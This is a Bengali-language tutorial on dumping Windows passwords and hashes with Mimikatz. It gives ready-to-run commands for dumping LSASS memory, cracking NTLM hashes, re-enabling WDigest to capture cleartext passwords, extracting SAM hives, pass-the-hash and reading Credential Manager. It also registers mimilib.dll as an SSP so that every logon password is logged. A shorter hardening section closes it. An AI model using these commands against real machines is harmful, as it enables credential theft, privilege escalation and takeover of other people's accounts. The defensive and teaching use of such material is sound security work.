কম্পিউটার টিউটোরিয়াল

Mimikatz দিয়ে উইন্ডোজ মেমরি থেকে ব্যবহারকারীর পাসওয়ার্ড ডাম্প করা

ইই আর্টিকেলটি, উইন্ডোজ নিরাপত্তা নিয়ে একটি সিরিজের অংশ হিসেবে লেখা, আমরা Mimikatz টুল ব্যবহার করে সকল সক্রিয় উইন্ডোজ ব্যবহারকারীর পাসওয়ার্ড পাওয়ার একটি সহজ পদ্ধতি শিখব।

Mimikatz.exe উইন্ডোজ মেমরি থেকে প্লেইন টেক্সট পাসওয়ার্ড, পাসওয়ার্ড হ্যাশ, কেরবেরোস টিকেট ইত্যাদি বের করতে পারে। এছাড়া mimikatz-এ pass-the-hash, pass-the-ticket আট্যাক বা গোল্ডেন কেরবেরোস টিকেট জেনারেট করা যায়। Mimikatz-এর ফাংশনালিটি Metasploit Framework-এও উপলব্ধ।

Mimikatz GitHub রিপো থেকে ডাউনলোড করা যায়: https://github.com/gentilkiwi/mimikatz/releases/। mimikatz_trunk.zip আর্কাইভ এক্সট্র্যাক্ট করুন C:\Tools\mimikatz-এ। এই ডিরেক্টরিতে mimikatz-এর দুটি ভার্সন আসবে — x64 এবং x86। আপনার উইন্ডোজ বিটনেস অনুযায়ী ভার্সন ব্যবহার করুন।

এই আর্টিকেলে আমরা দেখাবো কিভাবে Windows Server 2016 বা Windows 10-এ mimikatz ব্যবহার করে ব্যবহারকারীর পাসওয়ার্ড বের করা যায়।

ডিসক্লেমার। এই আর্টিকেলে বর্ণিত তথ্য ও প্রযুক্তি শুধু তথ্যমূলক উদ্দেশ্যে ব্যবহার করা উচিত, তৃতীয় পক্ষের অ্যাকাউন্ট, ডেটা ও সিস্টেমে অ্যাক্সেস পাওয়ার জন্য নন।

Mimikatz দিয়ে LSASS-এ উইন্ডোজ হ্যাশড পাসওয়ার্ড হ্যাক করা

চলুন Windows Server 2016 চলমান একটি RDS সার্ভারে লগইন করা সকল ব্যবহারকারীর পাসওয়ার্ড হ্যাশ উইন্ডোজ মেমরি (lsass.exe প্রসেস — Local Security Authority Subsystem Service) থেকে ডাম্প করার চেষ্টা করি।

এলিভেটেড কমান্ড প্রম্পটে নিচের কমান্ডগুলো চালান:

  1. Mimikatz.exe অ্যাডমিনিস্ট্রেটর হিসেবে চালান;
  2. নিচের কমান্ড করেন্ট অ্যাকাউন্টকে প্রসেস ডিবাগ করার অনুমতি দেবে (SeDebugPrivilege):
    privilege::debug
  3. সক্রিয় ব্যবহারকারী সেশন লিস্ট করুন:
    sekurlsa::logonPasswords full
  4. আমার কেসে সার্ভারে আমার অ্যাকাউন্ট ছাড়া দুটি ব্যবহারকারীর সক্রিয় সেশন আছে: novach এবং administrator।
  5. তাদের NTLM হ্যাশ কপি করুন (স্ক্রিনশটে হাইলাইট করা)।

Mimikatz ইন্টারেক্টিভ না করে কমান্ড মোডেও ব্যবহার করা যায়। ব্যবহারকারীর পাসওয়ার্ড হ্যাশ অটোমেটিক্যালি বের করে টেক্সট ফাইলে এক্সপোর্ট করতে:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

এখন আপনি যেকোনো অফলাইন (Kali Linux-এ hashcat টুল আছে) বা অনলাইন সার্ভিস ব্যবহার করে NTLM হ্যাশ ডিক্রিপ্ট করতে পারেন। আমি https://crackstation.net/ সার্ভিসটি ব্যবহার করব।

দেখা যাচ্ছে, সার্ভিসটি দ্রুত এই NTLM হ্যাশের মান খুঁজে পেয়েছে। তাই আমরা প্লেইন টেক্সটে ব্যবহারকারীর পাসওয়ার্ড পেয়েছি।

কল্পনা করুন এটি একটি RDS হোস্ট যেখানে অনেক কনকারেন্ট ইউজার এবং একটি এন্টারপ্রাইজ অ্যাডমিনিস্ট্রেটর সেশন আছে। অর্থাৎ, আপনার এই সার্ভারে লোকাল অ্যাডমিন প্রিভিলেজ থাকলে, আপনি ডোমেন অ্যাডমিন পাসওয়ার্ডও পেতে পারেন।

জটিল পাসওয়ার্ড ব্যবহার করলে এগুলো ডিক্রিপ্ট করা অনেক কঠিন হবে। তাই GPO-এর মাধ্যমে পাসওয়ার্ড জটিলতা সক্ষম করুন এবং AD ডোমেনে পাসওয়ার্ডের স্ট্রেঞ্জথ নিয়মিত অডিট করুন।

দেখা গেল, mimikatz-এর ফলে আমরা সকল সক্রিয় ব্যবহারকারীর NTLM হ্যাশ পেয়েছি! কমান্ডটি সফল হয়েছে কারণ এই কম্পিউটারে ডিবাগ মোড সক্রিয়, যা সিস্টেম আন্ডারে চালু প্রসেসের মেমরিতে নিম্ন-স্তরের অ্যাক্সেসের জন্য SeDebugPrivilege ফ্ল্যাগ সেট করার অনুমতি দেয়।

নোট: জুন ২০১৭-এ অনেক দেশের বড় কোম্পানিগুলো NotPetya র্যানসমওয়্যার দ্বারা আক্রান্ত হয়েছিল, যেটি বিল্ট-ইন mimikatz মডিউল ব্যবহার করে ব্যবহারকারীদের ও ডোমেন অ্যাডমিনদের পাসওয়ার্ড সংগ্রহ করেছিল।

Windows মেমরি ডাম্প থেকে ব্যবহারকারীর পাসওয়ার্ড কীভাবে বের করবেন?

উপরের পাসওয়ার্ড হ্যাশ বের করার পদ্ধতি কাজ করবে না যদি এন্টিভাইরাস ইনজেকশন ব্লক করে। এই ক্ষেত্রে, টার্গেট হোস্টে LSASS প্রসেসের মেমরি ডাম্প তৈরি করে, আপনার কম্পিউটারে কপি করে, mimikatz ব্যবহার করে পাসওয়ার্ড হ্যাশ বের করতে হবে।

Windows-এ প্রসেসের মেমরি ডাম্প তৈরি করা খুব সহজ। Task Manager শুরু করুন, lsass.exe প্রসেস লোকেট করুন, রাইট-ক্লিক করুন এবং Create Dump File সিলেক্ট করুন।

Windows মেমরি ডাম্প সিস্টেম32 ফোল্ডারে সংরক্ষণ করবে।

আপনার কাজ হল mimikatz ব্যবহার করে ডাম্প ফাইল পার্স করা (এই কাজ অন্য কম্পিউটারেও করা যায়)। মেমরি ডাম্প mimikatz-এ লোড করুন:

Mimikatz "sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP"

ডাম্প থেকে ব্যবহারকারীর নাম ও পাসওয়ার্ড হ্যাশ বের করুন:

# sekurlsa::logonPasswords

PsExec বা WinRM (যদি অ্যাডমিনিস্ট্রেটর প্রিভিলেজ থাকে) ব্যবহার করে রিমোট কম্পিউটার থেকে মেমরি ডাম্প নেওয়া যায় এবং সেখান থেকে ব্যবহারকারীর পাসওয়ার্ড বের করা যায়।

Sysinternals-এর procdump টুলও ডাম্প নেওয়ার জন্য ব্যবহার করা যায়:

procdump -ma lsass.exe lsass.dmp

LSASS প্রসেসের মেমরি ডাম্প PowerShell-এ Out-Minidump.ps1 ফাংশন দিয়েও নেওয়া যায়। Out-Minidump ফাংশন ইম্পোর্ট করুন PoSh সেশনে এবং LSASS প্রসেসের মেমরি ডাম্প তৈরি করুন:

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Hiberfil.sys এবং VM পেজ ফাইল থেকে উইন্ডোজ পাসওয়ার্ড বের করা

মেমরি ডাম্প ফাইল, সিস্টেম হাইবারনেশন ফাইল (hiberfil.sys), এবং VM পেজ ফাইল (ভার্চুয়াল মেশিন পেজিং ফাইল ও তাদের স্ন্যাপশট) থেকে ব্যবহারকারীর পাসওয়ার্ড বের করা সম্ভব।

এজন্য প্রয়োজন: Debugging Tool for Windows (WinDbg), mimikatz নিজে, এবং টুল .vmem কে মেমরি ডাম্প ফাইলে কনভার্ট করতে (Hyper-V-এ vm2dmp.exe বা VMWare vmem-ফাইলের জন্য MoonSols Windows Memory toolkit)।

উদাহরণস্বরূপ, VMWare ভার্চুয়াল মেশিনের vmem পেজ ফাইল ডাম্পে কনভার্ট করতে:

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

ডাম্প WinDbg-এ ইম্পোর্ট করুন (File → Open Crash Dump), mimikatz লাইব্রেরি mimilib.dll লোড করুন:

.load mimilib.dll

ডাম্পে lsass.exe প্রসেস খুঁজুন:

!process 0 0 lsass.exe

অবশেষে টাইপ করুন:

.process /r /p fffffa800e0b3b30
!mimikatz

ফলে আপনি উইন্ডোজ ব্যবহারকারীদের তালিকা, তাদের পাসওয়ার্ডের NTLM হ্যাশ, বা এমনকি ক্লিয়ার টেক্সট পাসওয়ার্ড পাবেন।

WDigest ব্যবহার করে উইন্ডোজ পাসওয়ার্ড ক্লিয়ার-টেক্সটে বের করা

লিগেসি উইন্ডোজ ভার্সনে HTTP ডাইজেস্ট অথেন্টিকেশনের জন্য WDigest প্রোটোকল ব্যবহার করা হয়। এই প্রোটোকলের মুখ্য সিকিউরিটি ফ্ল হলো এটি ব্যবহারকারীর পাসওয়ার্ড মেমরিতে হ্যাশের পরিবর্তে ক্লিয়ার টেক্সটে সংরক্ষণ করে। Mimikatz LSASS.EXE প্রসেসের মেমরি থেকে এই পাসওয়ার্ড বের করতে দেয়।

WDigest প্রোটোকল সব নতুন উইন্ডোজ ভার্সনে (Windows 10, Windows Server 2016/2019 সহ) ডিফল্টভাবে ডিজেবল থাকে। কিন্তু পুরোপুরি রিমুভ করা হয়নি। আপনার যদি উইন্ডোজে লোকাল অ্যাডমিনিস্ট্রেটর পারমিশন থাকে, তবে WDigest প্রোটোকল সক্রিয় করে, ব্যবহারকারীদের লগইন হওয়ার অপেক্ষা করে, তাদের পাসওয়ার্ড চুরি করতে পারেন।

Windows-এ Wdigest সক্রিয় করুন:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

গ্রুপ পলিসি সেটিং রিফ্রেশ করুন:

gpupdate /force

ব্যবহারকারীদের লগইন হওয়ার অপেক্ষা করুন এবং mimikatz দিয়ে তাদের পাসওয়ার্ড বের করুন (Windows 10-এ ব্যবহারকারীকে পুনরায় লগইন করতে হবে; Windows Server 2016-এ স্ক্রিন লক হওয়ার পর আনলক করলেই হয়):

privilege::debug
sekurlsa::wdigest

দেখা যাচ্ছে, wdigest সেকশনে ব্যবহারকারীর পাসওয়ার্ড ক্লিয়ার টেক্সটে আছে।

SAM থেকে লোকাল ব্যবহারকারীর পাসওয়ার্ড হ্যাশ বের করা

Mimikatz ব্যবহার করে লোকাল উইন্ডোজ ব্যবহারকারীদের (বিল্ট-ইন অ্যাডমিনিস্ট্রেটর অ্যাকাউন্টসহ) পাসওয়ার্ড হ্যাশ SAM থেকে বের করা যায়:

privilege::debug
token::elevate
lsadump::sam

রেজিস্ট্রি SAM হাইভ থেকে NTLM হ্যাশও বের করা যায়।

  1. SYSTEM ও SAM রেজিস্ট্রি হাইভ এক্সপোর্ট করুন ফাইলে:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv
  2. তারপর Mimikatz ব্যবহার করে পাসওয়ার্ড হ্যাশ ডাম্প করুন:
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Mimikatz দিয়ে Pass-the-Hash আট্যাক করা

যদি ব্যবহারকারীর পাসওয়ার্ড শক্তিশালী হয় এবং NTLM হ্যাশ দ্রুত ডিক্রিপ্ট করা না যায়, Mimikatz ব্যবহার করে pass-the-hash (হ্যাশ রি-ইউজ) আট্যাক করা যায়। এই ক্ষেত্রে হ্যাশ ব্যবহার করে টার্গেট ব্যবহারকারীর আন্ডারে প্রসেস চালানো যায়। উদাহরণস্বরূপ, আপনি যদি একজন ব্যবহারকারীর পাসওয়ার্ডের NTLM হ্যাশ ডাম্প করেন, নিচের কমান্ড সেই অ্যাকাউন্টের আন্ডারে কমান্ড প্রম্পট চালাবে:

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

এছাড়া Invoke-TheHash টুল ব্যবহার করে NTLM ক্রেডেনশিয়াল রি-ইউজ করে রিমোট কম্পিউটারে কমান্ড এক্সিকিউট করা যায়।

Windows Credential Manager থেকে পাসওয়ার্ড ডাম্প করা

Windows-এ Windows Credential Manager-এ পাসওয়ার্ড সংরক্ষণ করা যায় (রিমোট কম্পিউটার, ওয়েবসাইট, RDP ক্রেডেনশিয়াল TERMSRV/hostname1 ফরম্যাটে)। Mimikatz Credential Manager থেকে এই পাসওয়ার্ড বের করে দেখাতে পারে:

privilege::debug
sekurlsa::credman

দেখা যাচ্ছে, সেভ করা পাসওয়ার্ড credman সেকশনে দেখাচ্ছে।

Windows অটোলগন পাসওয়ার্ড রেজিস্ট্রিতে ক্লিয়ার টেক্সটে সংরক্ষিত থাকে। সেভ করা Wi-Fi পাসওয়ার্ডও সহজে বের করা যায়।

Windows লগঅন পাসওয়ার্ড ক্লিয়ার টেক্সটে ডাম্প করা

Windows-এ পাসওয়ার্ড ডাম্প করার অন্য একটি আকর্ষণীয় পদ্ধতি হলো mimikatz-চালিত একটি অতিরিক্ত SSP প্রোভাইডার (Security Support Provider) ব্যবহার করা।

  1. Mimikatz লাইব্রেরি ফাইল mimilib.dll কপি করুন C:\Windows\System32\ ফোল্ডারে;
  2. অতিরিক্ত SPP প্রোভাইডার রেজিস্টার করুন কমান্ড দিয়ে:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. প্রতিবার ব্যবহারকারী Windows-এ লগইন করলে, তাদের পাসওয়ার্ড kiwissp.log ফাইলে লেখা হবে। PowerShell ব্যবহার করে সকল পাসওয়ার্ড দেখান:
    Get-Content C:\Windows\System32\kiwissp.log

ক্রেডেনশিয়াল ডাম্পিং আট্যাক থেকে Windows সুরক্ষা

Windows 8.1 এবং Windows Server 2012 R2 (এবং নতুনতর)-এ LSASS থেকে পাসওয়ার্ড চুরির ক্ষমতা সীমাবদ্ধ। এই উইন্ডোজ ভার্সনে ডিফল্টভাবে LM হ্যাশ ও পাসওয়ার্ড মেমরিতে সংরক্ষিত থাকে না।

এই ফাংশনালিটি পুরনো উইন্ডোজ ভার্সনে (7/8/2008R2/2012) ব্যাকপোর্ট করা হয়েছে, যেগুলোতে বিশেষ আপডেট KB2871997 ইনস্টল করতে হয় (এই আপডেট সিস্টেম নিরাপত্তা বাড়ানোর অন্যান্য অপশনও দেয়) এবং রেজিস্ট্রি কী HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest-এ DWORD প্যারামিটার UseLogonCredential-কে 0 সেট করুন (WDigest ডিজেবল)।

এই আপডেট ইনস্টল এবং UseLogonCredential কী সেট করার পর mimikatz পাসওয়ার্ড ও হ্যাশ ডাম্প করতে পারবে না creds_wdigest কমান্ড ব্যবহার করে।

উপরে আমরা দেখিয়েছি কিভাবে লোকাল অ্যাডমিনিস্ট্রেটর পারমিশন থাকলে এই রেজ কী যাবতীয় ভ্যালুতে সেট করা যায়। এরপর আবার LSA মেমরিতে পাসওয়ার্ড অ্যাক্সেস করা যায়।

Mimikatz-এ মেমরি থেকে পাসওয়ার্ড ও হ্যাশ বের করার অন্যান্য অপশন আছে (WDigest, LM-hash, NTLM-hash, কেরবেরোস টিকেট ক্যাপচার মডিউল)। তাই নিচের সিকিউরিটি মেজার বাস্তবায়ন করা সুপারিশ করা হয়:

  • রিভার্সিবল এনক্রিপশন ব্যবহার করে পাসওয়ার্ড সংরক্ষণ বাধা দিন;
  • WDigest ডিজেবল করুন;
  • Credential Manager-এ পাসওয়ার্ড সেভ করা বাধা দিন;
  • NTLM ডিজেবল করুন;
  • ডোমেন ইউজার ক্রেডেনশিয়াল ক্যাশিং বাধা দিন (CachedLogonsCount রেজিস্ট্রি প্যারামিটার বা গ্রুপ পলিসি অপশন Interactive logon policy: Number of previous logons to cache);
  • ডোমেন ফাংশনাল লেভেল Windows Server 2012 R2 বা নতুন হলে, অ্যাডমিনিস্ট্রেটর অ্যাকাউন্টকে স্পেশাল Protected Users গ্রুপে যোগ করুন। তাহলে তাদের জন্য NTLM হ্যাশ জেনারেট হবে না।
  • LSA প্রসেস প্রোটেকশন সক্ষম করুন: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f (এই সেটিং শুধু মাইক্রোসফট সাইনড প্রসেসকে LSASS মেমরি অ্যাক্সেস দেবে, GPO-এর মাধ্যমে ডোমেনে ডিপ্লয় করা যায়);
  • Credential Guard ব্যবহার করুন LSA প্রসেস কন্টেন্ট সুরক্ষার জন্য;
  • লোকাল অ্যাডমিনদের ডিবাগ প্রিভিলেজ পাওয়া বাধা দিন: GPO → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Debug programs (তবে এটি সহজে বাইপাস করা যায় যদি LocalSystem পারমিশন থাকে বা এইভাবে)।

টিপ: উইন্ডোজ মেমরি পাসওয়ার্ড ও হ্যাশ বের করা থেকে রক্ষার বিস্তারিত আর্টিকেল — Methods for defending against mimikatz in a Windows domain।

উপসংহার। আবার কিছু মূল নিরাপত্তা ধারণা মনে করিয়ে দিচ্ছি।

  • বিভিন্ন সার্ভিসের জন্য একই পাসওয়ার্ড ব্যবহার করবেন না (বিশেষ করে থার্ড-পার্টি দাঁড় করানো RDP/RDS হোস্ট অ্যাক্সেসের জন্য);
  • ভার্চুয়াল মেশিনে ক্লাউডে সংরক্ষিত আপনার পাসওয়ার্ড ও ডেটার নিরাপত্তা সম্পর্কে চিন্তা করুন, কারণ আপনি নিশ্চিত হতে পারবেন না কারো অ্যাক্সেস আছে হাইপারভাইজার ও স্টোরেজে যেখানে VM ফাইলগুলো অবস্থিত;
  • গ্লোবাল বা লোকাল অ্যাডমিনিস্ট্রেটর প্রিভিলেজ 가진 অ্যাকাউন্টের সংখ্যা কমাতে রাখুন (Windows পরিবেশে অ্যাডমিনিস্ট্রেটর অ্যাকাউন্ট সুরক্ষার গাইড দেখুন);
  • অন্যান্য ব্যবহারকারীদের অ্যাক্সেসযোগ্য সার্ভার ও কম্পিউটারে ডোমেন অ্যাডমিন অ্যাকাউন্ট দিয়ে লগইন করবেন না।
  1. উইন্ডোজ ১১/১০-এ Memtest86+ দিয়ে অ্যাডভান্সড মেমরি ডায়াগনস্টিক

  2. Windows 10 থেকে iPhone-এ ভিডিও ট্রান্সফার করার ৩ পদ্ধতি

  3. Windows 10 ডেস্কটপ আইকন লক করুন: ব্যবহারকারীদের পরিবর্তন করতে বাধা দিন

  4. PCUnlocker: দ্রুত ও নিরাপদ উইন্ডোজ ১০ পাসওয়ার্ড রিকভারি—ফিরে আসুন আপনার সিস্টেমে